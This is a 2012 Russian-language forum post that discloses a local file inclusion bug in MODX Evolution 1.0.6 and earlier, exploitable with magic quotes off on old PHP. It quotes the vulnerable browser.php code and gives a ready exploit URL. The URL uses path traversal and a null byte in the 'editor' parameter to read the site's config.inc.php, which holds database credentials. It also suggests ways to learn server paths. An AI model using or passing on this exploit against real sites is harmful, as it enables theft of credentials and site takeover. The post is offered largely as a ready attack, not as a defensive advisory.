LFI в browser.php MODX Evo <= 1.0.6 (only php 5.2)

Discussion in 'Веб-уязвимости' started by Agel Nash, 27 Jul 2012.

  1. Agel Nash

    Agel Nash New Member

    Joined:
    23 Jul 2009
    Messages:
    12
    Likes Received:
    4
    Reputations:
    5
    LFI в browser.php MODX Evo <= 1.0.6 (mq=off и php<5.3.4)

    LFI в modx cms(smf) только ветка EVO <= 1.0.6
    Условия: mq=off и php<5.3.4

    manager/media/browser/mcpuk/browser.php

    PHP:
    define('MODX_BASE_PATH'realpath('../../../../')); 
    $rb = new FBROWSER(); 
    $ph = array(); 
    $ph['seturl_js'] = $rb->seturl_js(); 
    $output $rb->render_fbrowser($ph); 
    echo 
    $output
    class 
    FBROWSER 

        function 
    seturl_js() 
        { 
            
    $seturl_js_filename 'seturl_js_'  htmlspecialchars($_GET['editor']) . '.inc'
            
    $seturl_js_path MODX_BASE_PATH 'assets/plugins/'
            if(
    file_exists($seturl_js_path $seturl_js_filename)) 
            { 
                
    $result file_get_contents($seturl_js_path $seturl_js_filename); 
            } 
            else 
            { 
                
    /*...............*/ 
            

            return 
    $result
        } 
    Найдено мной только что. На серверах с php >=5.3 воспроизвести не удалось, т.к. file_exists говорит что файла не существует, если ему подсунуть путь с ../

    Примечательно, что такой мегакритичный баг живет уже давно в этом движке. (хотя наверное в приватах давно знают об этом баге).
    Code:
    http://example.com/manager/media/browser/mcpuk/browser.php?editor=/../../../docs/manager/includes/config.inc.php%00
    Как можно заметить, мы выходим чуть выше директории в которой находится сайт. Поэтому нужно узнать пути. Благо способов море: 1, 2, 3
     
    #1 Agel Nash, 27 Jul 2012
    Last edited: 27 Jul 2012
    2 people like this.